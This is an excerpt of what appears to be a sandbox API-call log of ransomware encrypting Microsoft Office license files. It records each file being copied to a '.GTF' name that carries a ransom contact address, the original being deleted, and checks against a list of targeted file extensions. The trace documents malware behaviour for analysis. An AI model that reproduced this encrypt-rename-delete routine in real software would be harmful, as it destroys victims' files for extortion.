	[0183.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0183.449] GetLastError () returned 0x0
	[0183.449] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1a8b, lpOverlapped=0x0) returned 1
	[0183.631] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0183.632] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.632] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x112, lpOverlapped=0x0) returned 1
	[0183.632] SetEndOfFile (hFile=0x28c) returned 1
	[0183.632] CloseHandle (hObject=0x28c) returned 1
	[0183.632] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.632] SetEndOfFile (hFile=0x570) returned 1
	[0183.635] CloseHandle (hObject=0x570) returned 1
	[0183.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms")) returned 1
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.637] lstrlenW (lpString=".doc") returned 4
	[0183.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString=".docx") returned 5
	[0183.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.637] lstrlenW (lpString=".pdf") returned 4
	[0183.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString=".xls") returned 4
	[0183.637] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString=".xlsx") returned 5
	[0183.637] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.637] lstrlenW (lpString=".ppt") returned 4
	[0183.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.637] lstrlenW (lpString=".zip") returned 4
	[0183.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString=".rar") returned 4
	[0183.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString=".bz2") returned 4
	[0183.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString=".7z") returned 3
	[0183.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.637] lstrlenW (lpString=".dbf") returned 4
	[0183.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.637] lstrlenW (lpString=".1cd") returned 4
	[0183.637] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.637] lstrlenW (lpString=".jpg") returned 4
	[0183.637] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.638] lstrlenW (lpString=".doc") returned 4
	[0183.638] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString=".docx") returned 5
	[0183.638] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.638] lstrlenW (lpString=".pdf") returned 4
	[0183.638] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString=".xls") returned 4
	[0183.638] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString=".xlsx") returned 5
	[0183.638] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.638] lstrlenW (lpString=".ppt") returned 4
	[0183.638] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.638] lstrlenW (lpString=".zip") returned 4
	[0183.638] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString=".rar") returned 4
	[0183.638] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString=".bz2") returned 4
	[0183.638] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString=".7z") returned 3
	[0183.638] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.638] lstrlenW (lpString=".dbf") returned 4
	[0183.638] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.638] lstrlenW (lpString=".1cd") returned 4
	[0183.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81
	[0183.638] lstrlenW (lpString=".jpg") returned 4
	[0183.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.638] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.639] lstrlenW (lpString="OutlookVL_MAK-ul-oob.xrm-ms") returned 27
	[0183.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.639] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11586) returned 1
	[0183.639] CloseHandle (hObject=0x570) returned 1
	[0183.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0183.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.640] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.640] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0183.641] GetLastError () returned 0x0
	[0183.641] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0183.643] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.644] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.644] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0183.644] SetEndOfFile (hFile=0x28c) returned 1
	[0183.645] CloseHandle (hObject=0x28c) returned 1
	[0183.645] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.645] SetEndOfFile (hFile=0x570) returned 1
	[0183.648] CloseHandle (hObject=0x570) returned 1
	[0183.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms")) returned 1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.649] lstrlenW (lpString=".doc") returned 4
	[0183.650] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".docx") returned 5
	[0183.650] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.650] lstrlenW (lpString=".pdf") returned 4
	[0183.650] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".xls") returned 4
	[0183.650] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".xlsx") returned 5
	[0183.650] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.650] lstrlenW (lpString=".ppt") returned 4
	[0183.650] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.650] lstrlenW (lpString=".zip") returned 4
	[0183.650] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".rar") returned 4
	[0183.650] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".bz2") returned 4
	[0183.650] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".7z") returned 3
	[0183.650] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.650] lstrlenW (lpString=".dbf") returned 4
	[0183.650] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.650] lstrlenW (lpString=".1cd") returned 4
	[0183.650] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.650] lstrlenW (lpString=".jpg") returned 4
	[0183.650] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.650] lstrlenW (lpString=".doc") returned 4
	[0183.650] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".docx") returned 5
	[0183.651] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.651] lstrlenW (lpString=".pdf") returned 4
	[0183.651] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString=".xls") returned 4
	[0183.651] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString=".xlsx") returned 5
	[0183.651] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.651] lstrlenW (lpString=".ppt") returned 4
	[0183.651] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.651] lstrlenW (lpString=".zip") returned 4
	[0183.651] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString=".rar") returned 4
	[0183.651] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString=".bz2") returned 4
	[0183.651] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString=".7z") returned 3
	[0183.651] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.651] lstrlenW (lpString=".dbf") returned 4
	[0183.651] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.651] lstrlenW (lpString=".1cd") returned 4
	[0183.651] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.651] lstrlenW (lpString=".jpg") returned 4
	[0183.651] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.651] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.651] lstrlenW (lpString="OutlookVL_MAK-ul-phn.xrm-ms") returned 27
	[0183.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.652] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19931) returned 1
	[0183.652] CloseHandle (hObject=0x570) returned 1
	[0183.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0183.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.653] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.653] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0183.654] GetLastError () returned 0x0
	[0183.654] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4ddb, lpOverlapped=0x0) returned 1
	[0183.656] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0183.658] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.658] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0183.658] SetEndOfFile (hFile=0x28c) returned 1
	[0183.658] CloseHandle (hObject=0x28c) returned 1
	[0183.658] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.658] SetEndOfFile (hFile=0x570) returned 1
	[0183.663] CloseHandle (hObject=0x570) returned 1
	[0183.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms")) returned 1
	[0183.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString=".doc") returned 4
	[0183.665] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".docx") returned 5
	[0183.665] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.665] lstrlenW (lpString=".pdf") returned 4
	[0183.665] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".xls") returned 4
	[0183.665] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".xlsx") returned 5
	[0183.665] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.665] lstrlenW (lpString=".ppt") returned 4
	[0183.665] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString=".zip") returned 4
	[0183.665] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".rar") returned 4
	[0183.665] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".bz2") returned 4
	[0183.665] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".7z") returned 3
	[0183.665] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString=".dbf") returned 4
	[0183.665] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString=".1cd") returned 4
	[0183.665] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString=".jpg") returned 4
	[0183.665] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.665] lstrlenW (lpString=".doc") returned 4
	[0183.666] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".docx") returned 5
	[0183.666] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.666] lstrlenW (lpString=".pdf") returned 4
	[0183.666] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".xls") returned 4
	[0183.666] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".xlsx") returned 5
	[0183.666] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.666] lstrlenW (lpString=".ppt") returned 4
	[0183.666] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.666] lstrlenW (lpString=".zip") returned 4
	[0183.666] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".rar") returned 4
	[0183.666] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".bz2") returned 4
	[0183.666] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".7z") returned 3
	[0183.666] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.666] lstrlenW (lpString=".dbf") returned 4
	[0183.666] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.666] lstrlenW (lpString=".1cd") returned 4
	[0183.666] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.666] lstrlenW (lpString=".jpg") returned 4
	[0183.666] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.666] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.667] lstrlenW (lpString="PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 38
	[0183.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0183.921] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11203) returned 1
	[0183.921] CloseHandle (hObject=0x2a4) returned 1
